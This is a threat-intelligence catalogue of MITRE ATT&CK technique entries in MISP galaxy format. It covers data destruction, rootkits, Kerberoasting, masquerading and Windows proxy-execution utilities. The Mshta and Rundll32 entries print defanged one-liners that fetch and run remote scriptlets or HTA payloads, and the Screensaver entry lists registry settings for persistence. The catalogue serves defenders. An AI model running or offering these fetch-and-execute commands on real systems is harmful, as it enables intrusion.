This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim’s computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

The tag is: misp-galaxy:mitre-attack-pattern="Credential pharming - T1374"

Table 2635. Table References
Links
https://attack.mitre.org/techniques/T1374

Device Lockout - T1446

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)

The tag is: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446"

Table 2636. Table References
Links
https://attack.mitre.org/techniques/T1446
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/

Data Destruction - T1485

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"

Table 2637. Table References
Links
https://attack.mitre.org/techniques/T1485
https://www.symantec.com/connect/blogs/shamoon-attacks
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html

Firmware Corruption - T1495

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.

The tag is: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495"

Table 2638. Table References
Links
https://attack.mitre.org/techniques/T1495
https://www.symantec.com/security-center/writeup/2000-122010-2655-99
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research

Resource Hijacking - T1496

Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.

The tag is: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"

Table 2639. Table References
Links
https://attack.mitre.org/techniques/T1496
https://securelist.com/lazarus-under-the-hood/77908/
https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc

Service Stop - T1489

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)

The tag is: misp-galaxy:mitre-attack-pattern="Service Stop - T1489"

Table 2640. Table References
Links
https://attack.mitre.org/techniques/T1489
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.secureworks.com/research/wcry-ransomware-analysis

Rc.common - T1163

During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

The tag is: misp-galaxy:mitre-attack-pattern="Rc.common - T1163"

Table 2641. Table References
Links
https://attack.mitre.org/techniques/T1163
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Regsvcs/Regasm - T1121

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121"

Table 2642. Table References
Links
https://attack.mitre.org/techniques/T1121
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://lolbas-project.github.io/lolbas/Binaries/Regasm/

Rootkit - T1014

Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

The tag is: misp-galaxy:mitre-attack-pattern="Rootkit - T1014"

Table 2643. Table References
Links
https://attack.mitre.org/techniques/T1014
https://capec.mitre.org/data/definitions/552.html
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
https://en.wikipedia.org/wiki/Rootkit
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf

Mshta - T1170

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: misp-galaxy:mitre-attack-pattern="Mshta - T1170"

Table 2644. Table References
Links
https://attack.mitre.org/techniques/T1170
https://en.wikipedia.org/wiki/HTML_Application
https://msdn.microsoft.com/library/ms536471.aspx
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://lolbas-project.github.io/lolbas/Binaries/Mshta/

Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

<code>SCRNSAVE.exe</code> - set to malicious PE path
<code>ScreenSaveActive</code> - set to '1' to enable the screensaver
<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
<code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Screensaver - T1180"

Table 2645. Table References
Links
https://attack.mitre.org/techniques/T1180
https://en.wikipedia.org/wiki/Screensaver
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

The tag is: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085"

Table 2646. Table References
Links
https://attack.mitre.org/techniques/T1085
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/

Hypervisor - T1062

A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.

The tag is: misp-galaxy:mitre-attack-pattern="Hypervisor - T1062"

Table 2647. Table References
Links
https://attack.mitre.org/techniques/T1062
https://capec.mitre.org/data/definitions/552.html
http://en.wikipedia.org/wiki/Xen
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
https://en.wikipedia.org/wiki/Hypervisor

DCShadow - T1207

DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)

The tag is: misp-galaxy:mitre-attack-pattern="DCShadow - T1207"

Table 2648. Table References
Links
https://attack.mitre.org/techniques/T1207
https://www.dcshadow.com/
https://adsecurity.org/?page_id=1821
https://github.com/shellster/DCSYNCMonitor
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
https://msdn.microsoft.com/en-us/library/ms677626.aspx

Kerberoasting - T1208

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208"

Table 2649. Table References
Links
https://attack.mitre.org/techniques/T1208
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://msdn.microsoft.com/library/ms677949.aspx
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
https://adsecurity.org/?p=2293

Masquerading - T1036

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.

A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

Adversaries may modify a binary’s metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)

Windows

In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".

Linux

Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)

An example of abuse of trusted locations in Linux would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)

The tag is: misp-galaxy:mitre-attack-pattern="Masquerading - T1036"

Table 2650. Table References
Links
https://attack.mitre.org/techniques/T1036
https://capec.mitre.org/data/definitions/177.html
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
https://securelist.com/zero-day-vulnerability-in-telegram/83800/
https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/
https://www.endgame.com/blog/how-hunt-masquerade-ball
https://www.f-secure.com/documents/996508/1030745/CozyDuke
https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/
https://vms.drweb.com/virus/?i=4276269
https://twitter.com/ItsReallyNick/status/1055321652777619457

Scripting - T1064

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Scripting - T1064"

Table 2651. Table References
Links
https://attack.mitre.org/techniques/T1064
http://www.metasploit.com
https://www.veil-framework.com/framework/
https://github.com/mattifestation/PowerSploit
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://www.uperesia.com/analyzing-malicious-office-documents

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: misp-galaxy:mitre-attack-pattern="Bootkit - T1067"

Table 2652. Table References
Links
https://attack.mitre.org/techniques/T1067
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion

PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

The tag is: misp-galaxy:mitre-attack-pattern="PowerShell - T1086"

Table 2653. Table References
Links
https://attack.mitre.org/techniques/T1086
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://github.com/mattifestation/PowerSploit
https://github.com/jaredhaight/PSAttack
http://www.sixdub.net/?p=367
https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Timestomp - T1099

Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

The tag is: misp-galaxy:mitre-attack-pattern="Timestomp - T1099"

Table 2654. Table References
Links
https://attack.mitre.org/techniques/T1099
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117"

Table 2655. Table References
Links
https://attack.mitre.org/techniques/T1117
https://support.microsoft.com/en-us/kb/249873
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html

InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"

Table 2656. Table References
Links
https://attack.mitre.org/techniques/T1118
https://msdn.microsoft.com/en-us/library/50614e95.aspx
https://lolbas-project.github.io/lolbas/Binaries/Installutil/

CMSTP - T1191

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: misp-galaxy:mitre-attack-pattern="CMSTP - T1191"

Table 2657. Table References
Links
https://attack.mitre.org/techniques/T1191
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
https://twitter.com/ItsReallyNick/status/958789644165894146
https://msitpros.com/?p=3960
https://twitter.com/NickTyrer/status/958450014111633408
https://github.com/api0cradle/UltimateAppLockerByPassList
http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/

Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.

The tag is: misp-galaxy:mitre-attack-pattern="Keychain - T1142"

Table 2658. Table References
Links
https://attack.mitre.org/techniques/T1142
https://en.wikipedia.org/wiki/Keychain_(software)
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

